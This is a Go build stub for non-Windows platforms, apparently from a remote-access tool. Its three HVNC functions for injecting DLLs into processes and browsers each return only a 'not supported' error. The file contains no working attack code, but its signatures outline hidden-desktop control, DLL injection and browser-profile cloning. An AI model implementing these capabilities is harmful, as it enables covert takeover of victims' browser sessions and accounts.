20 lines
769 B
Go
20 lines
769 B
Go
//go:build !windows
|
|
|
|
package capture
|
|
|
|
import "errors"
|
|
|
|
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
|
|
return errors.New("HVNC injection not supported on this platform")
|
|
}
|
|
|
|
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
|
return errors.New("HVNC injection not supported on this platform")
|
|
}
|
|
|
|
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
|
|
|
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
|
|
return errors.New("HVNC injection not supported on this platform")
|
|
}
|